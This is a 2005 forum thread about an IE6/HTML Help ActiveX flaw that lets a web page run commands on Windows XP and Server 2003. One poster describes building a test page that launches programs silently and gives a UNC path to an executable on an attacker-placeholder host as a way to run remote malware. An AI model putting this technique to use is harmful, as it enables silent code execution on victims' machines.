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Thread ID: 53170 2005-01-09 10:44:00 More SP2 IE6 Unsafe Features. drb1 (4492) Press F1
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312424 2005-01-09 10:44:00 news.zdnet.com

The Exploits for this are IN THE WILD.

For any one interested in reality, Micro Victim's who do not wish to be informed, and are not in touch with reality should move on.

Interesting list of other Micro$cam disasters at the bottom of the page on this one.

D.
drb1 (4492)
312425 2005-01-11 06:06:00 Read it.

In fact, I tested the exploit out myself. It is pure evil.

Basicly, the script I made (very easily :o) opens calculator as soon as the page is opened, without any warning. Not even little yellow "potentially unsafe" crap, nothing.

Wouldn't have to be calculator - in fact any command line is possible.

Nor does it have to reside on your PC I have found. By that I mean:

\\[evil persons ip address]\somevirus.exe

Was 100% possible. This is the worst vulnerability I have ever seen.
george12 (7)
312426 2005-01-11 07:05:00 Does the repeated reference to SP2 mean that this is an IE6/XP only exploit, or does it extend to IE6 on W2K and the variants of W98?

Seems a reasonable question to ask, given the risk to XP and the lack of clarity in the associated links.

Cheers

Billy 8-{)
Billy T (70)
312427 2005-01-11 07:36:00 Don't know. I will test it on a couple of machines and get back to you in a min or 2 :) george12 (7)
312428 2005-01-11 07:42:00 Nope, Windows XP only.

But XP native and SP1 obviously still do it.

Other OSs don't support HTML help, and I also get a warning that my version of [something].ocx is too old (Win2K and below).

Server 2003 suffers from it though.

Edit: Basicly any OS new enough to support the ActiveX control is vulnerable to it.

Cheers George
george12 (7)
312429 2005-01-11 07:50:00 Why I stay with an unbloated 98se. :thumbs:
Bye
Peter H (220)
312430 2005-01-11 07:57:00 Is this another reason to use Firefox ?- I'm a convert.
Piva
piva (3796)
312431 2005-01-11 08:04:00 So if i read all this correctly - this has nothing to do with SP2 itself and potentially impacts people still using internet explorer. IE is a dodgey browser - this is nothing new, but you can lock it down if you really want to use it.

So Firefox it is then. 98 it definitely is not, a bet it has more security holes in it than you'd care to think about. Microsoft will issue a patch for XP and IE, they're unlikely to be concerned about 98 vulnerabilities.
Twelvevolts (5457)
312432 2005-01-11 09:00:00 So if i read all this correctly - this has nothing to do with SP2 itself and potentially impacts people still using internet explorer . IE is a dodgey browser - this is nothing new, but you can lock it down if you really want to use it .

So Firefox it is then . 98 it definitely is not, a bet it has more security holes in it than you'd care to think about . Microsoft will issue a patch for XP and IE, they're unlikely to be concerned about 98 vulnerabilities .

Yes it's IE, but it's also the way IE and XP interact together if I've read correctly . That's is why, simply not using IE is not always an answer in itself because IE is used for many functions within windows without it even being actively used by the user . It's therefore wise, even if you don't use IE and XP to still take precautions re PC security, anti-virus, anti-spyware/adware and be diligent with your data backups .

George, it's interesting that win2k isn't affected, I was under the impression that 2k did use html help, aren't they the . chm files?? Funny, it looks like MS Basline Security Anyliser uses html help :eek:
Murray P (44)
312433 2005-01-11 09:30:00 I think it does, but it must do it differently.

The way this vulnerability works, is well - you know how in HTML help you can click a link to open Device Manager or Display Properties or whatever?

It takes advantage of that and opens cmd.exe, which in turn executes some command of the writers choice.

In Win98 when I tried, nothing happened at all. In Win2K, it gave an error that the file C:\WINNT\somefile.ocx was too old, and the ActiveX control could not load. It then offered to download an updated version of the control.

I accepted, and then it opened a blank help window which said "this command can only be executed from HTML help".

But all versions of XP or 2003 suffer.

Firefox is completely immune.
george12 (7)
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